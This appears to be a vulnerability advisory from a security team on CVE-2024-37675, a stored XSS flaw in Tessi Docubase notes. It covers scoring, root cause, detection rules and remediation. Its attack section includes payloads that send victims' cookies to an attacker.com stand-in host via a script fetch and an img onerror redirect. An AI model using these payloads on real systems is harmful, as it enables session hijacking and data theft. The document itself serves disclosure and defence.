CVE-2024-37675

Executive Summary

CVE-2024-37675 is a stored Cross-Site Scripting (XSS) vulnerability in Tessi Docubase Document Management product version 5.x. The flaw exists in the note-adding functionality, where the sectionContent parameter is not properly sanitized. A remote attacker can inject arbitrary JavaScript code, which executes when a victim views the note. This can lead to session hijacking, data theft, or further compromise of the document management system. No official patch has been confirmed, and no public exploit code is available, but the vulnerability is considered exploitable with low complexity.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise document management system. Supply chain risk is limited to the vendor's software distribution and update channels.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for scoring. However, based on the description and typical XSS characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – attacker needs a valid account to add notes
• User Interaction (UI): Required (R) – victim must view the note
• Scope (S): Changed (C) – XSS can impact the user's session
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Estimated Score: 5.4 (Medium)

Threat Level: Medium – Exploitation requires user interaction but can lead to significant data exposure.

Deep Dive & Mechanics

The vulnerability resides in the note-adding functionality of Tessi Docubase. When a user adds a note to an uploaded file, the sectionContent parameter is stored in the database without proper sanitization. When another user views the file or the note, the content is rendered in the browser without escaping HTML or JavaScript.

Attack Flow:

1. Attacker authenticates to Docubase (requires low privileges).
2. Attacker uploads a file or navigates to an existing file.
3. Attacker adds a note containing malicious JavaScript in the sectionContent parameter, e.g., <script>alert('XSS')</script>.
4. Victim views the file or note.
5. The malicious script executes in the victim's browser context.

Root Cause: Lack of output encoding or input validation on the sectionContent parameter. The application likely uses a rich text editor but fails to sanitize user input before storage and rendering.

Vulnerable vs. Patched Code

No official patch is available. The vulnerable code pattern is typical of a server-side rendering issue:

Vulnerable (pseudo-code):

// Server-side rendering of note content
function renderNote(note) {
    return `<div class="note">${note.sectionContent}</div>`;
}

Patched (pseudo-code):

// Server-side rendering with HTML encoding
function renderNote(note) {
    const sanitized = sanitizeHtml(note.sectionContent, {
        allowedTags: ['b', 'i', 'em', 'strong', 'a'],
        allowedAttributes: { 'a': ['href'] }
    });
    return `<div class="note">${sanitized}</div>`;
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Valid low-privilege account on Tessi Docubase 5.x
• Access to the note-adding feature

Exploitation Steps:

1. Log in to Docubase.
2. Upload a file or select an existing file.
3. In the note field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the note.
5. Wait for a victim (e.g., admin) to view the file.
6. The victim's cookies are exfiltrated to the attacker's server.

Alternative Payload (session hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Defender)

Detection:

• Monitor for unusual note content containing <script>, <img onerror>, or other HTML event handlers.
• Use web application firewall (WAF) rules to block common XSS patterns in the sectionContent parameter.
• Enable Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search logs for POST requests to note-adding endpoints with suspicious payloads.
• Review database entries for notes containing HTML tags.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown domains from Docubase server
  • POST requests to /api/notes or similar endpoints with sectionContent containing <script> tags
• Host:
  • Unusual JavaScript files in browser cache
  • Modified browser settings (e.g., disabled CSP)
• Logs:
  • Application logs showing note content with HTML tags
  • Web server logs with sectionContent parameter containing encoded or raw script tags

Detection Engineering

YARA Rule

rule detect_tessi_docubase_xss {
    meta:
        description = "Detects XSS payloads in Tessi Docubase note content"
        author = "Valters IT"
        date = "2024-07-01"
        reference = "CVE-2024-37675"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<[^>]+on\w+\s*=\s*['"]?[^'"]*['"]?/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Tessi Docubase XSS via sectionContent Parameter
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts in Tessi Docubase note content
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: '/api/notes'
        cs-method: 'POST'
        cs-uri-query|contains: 'sectionContent'
    keywords:
        - '<script'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of rich text editor with allowed tags
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"Tessi Docubase XSS Attempt - sectionContent Parameter";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/notes"; http_uri;
    content:"sectionContent"; http_client_body;
    pcre:"/(<script|<[^>]+on\w+\s*=|javascript\s*:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-37675;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement strict server-side validation of the sectionContent parameter. Reject or sanitize any HTML tags.
2. Output Encoding: Encode all user-supplied data before rendering in the browser. Use a library like OWASP Java Encoder or similar.
3. Content Security Policy: Deploy CSP headers to restrict script execution (e.g., script-src 'self').
4. Web Application Firewall: Add rules to block common XSS patterns in the note content.

Long-Term Fix:

• Vendor should release a patch that properly sanitizes the sectionContent parameter.
• If no patch is available, consider disabling the note-adding feature or restricting it to trusted users only.

Workaround:

• Use a reverse proxy with XSS filtering (e.g., ModSecurity) to inspect and block malicious payloads.

Report generated by Valters IT DevSecOps & CTI Division